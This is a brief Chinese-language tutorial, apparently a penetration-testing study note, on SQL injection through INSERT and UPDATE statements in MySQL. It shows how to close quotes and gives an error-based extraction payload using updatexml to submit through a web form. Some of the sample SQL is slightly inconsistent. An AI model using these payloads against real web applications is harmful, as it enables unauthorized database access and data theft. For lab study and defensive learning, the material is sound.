1、语法
首先要了解在MySQL中insert/update语句是如何使用的
1.1、insert,例如在MySQL中插入一条数据如下
insert into member(username,sex,phonenum,email,address) values('jim','boy',2,3,4,'fuzhou')
在web页面中我们能操作的值就是value()里面的,注意单引号闭合(有些双引号)
构建payload
insert into member(username,sex,phonenum,email,address) values('jim' or [你的payload语句] or '','boy',2,3,4,'fuzhou')
1.2、update,例如在MySQL中更新一条数据如下
update user set password = 'newpassword123' where id =1
同理,构建payload,注意单引号闭合
update user set password ='newpassword123 or [你的payload语句] or '' where id =1
2、演示
构建payload,采用报错回显我的要的信息
payload:jim ' or updatexml(1,concat(0x7e,version()),0) or '
提交表单
update注入原理也差不多这样
3、总结:
1、猜测源码中的语句,形成闭合
2、注意闭合,不一定是单号,也有可能双引号
3、区分用and还是用or